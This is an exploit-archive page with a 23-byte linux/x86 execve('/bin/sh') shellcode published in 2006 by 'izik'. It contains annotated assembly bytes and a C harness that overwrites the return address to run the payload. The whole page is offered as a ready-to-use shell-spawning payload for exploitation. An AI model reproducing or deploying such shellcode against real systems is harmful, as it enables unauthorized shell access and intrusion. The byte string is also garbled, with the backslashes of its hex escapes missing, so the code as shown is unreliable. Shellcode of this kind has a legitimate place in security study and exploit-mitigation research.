[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 execve(/bin/sh) / PUSH - 23 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 reboot() - 20 bytes
# Next Title : linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes
/*
* (linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) / PUSH - 23 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax0b" // push $0xb
"x58" // pop %eax
"x99" // cltd
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp,%ecx
"xcdx80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]